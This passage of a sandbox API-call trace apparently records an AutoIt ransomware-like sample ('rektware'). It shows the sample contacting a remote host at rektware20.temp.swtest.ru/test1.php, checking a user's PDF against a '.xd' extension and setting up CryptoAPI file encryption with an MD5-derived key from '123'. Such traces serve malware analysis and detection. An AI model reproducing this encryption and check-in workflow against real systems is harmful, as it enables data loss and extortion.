out: lpMsg=0x130f614) returned 0 [0070.428] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\H2TfiViz9b.pdf", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0070.428] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0070.428] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.428] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0070.428] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.428] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0070.428] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0070.428] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d60, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d60, lpdwBufferLength=0x130ef8c) returned 1 [0070.429] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.429] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.429] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.430] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0070.430] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0070.430] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0070.430] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629290, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629290*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0070.430] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0070.430] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.431] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.431] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0070.431] CloseHandle (hObject=0x0) returned 0 [0070.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="H2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TfiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fiViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iViz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Viz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iz9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0070.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.433] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.434] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0070.434] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.434] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0070.434] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0070.434] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.434] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0070.434] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0070.434] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fa0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620fa0, lpdwBufferLength=0x130ee1c) returned 1 [0070.434] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.434] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.434] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.435] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0070.435] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0070.435] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0070.435] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0070.435] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0070.435] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.436] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.436] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0070.436] CloseHandle (hObject=0x0) returned 0 [0070.436] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.436] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\H2TfiViz9b.pdf", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0070.436] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0070.437] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.437] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.437] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.437] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.437] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.437] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.437] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0070.437] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.437] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.437] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0070.438] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.438] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.438] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.438] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.438] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.438] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0070.438] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.438] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.438] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0070.438] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0070.438] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0070.439] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0070.439] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0070.439] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa670) returned 1 [0070.440] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.440] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.440] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0070.440] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.440] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.440] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.440] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.440] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.440] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.440] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.440] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.440] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.440] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.440] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.441] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.441] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0070.441] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.441] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.441] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.441] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.441] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.441] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.441] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.441] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.441] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.441] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.441] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.441] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.441] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.441] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.442] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.442] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.442] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.442] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.442] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621510, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0070.442] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0070.443] CryptCreateHash (in: hProv=0x17aa670, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0070.443] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.443] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.443] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.443] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629480, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.443] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0070.445] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, 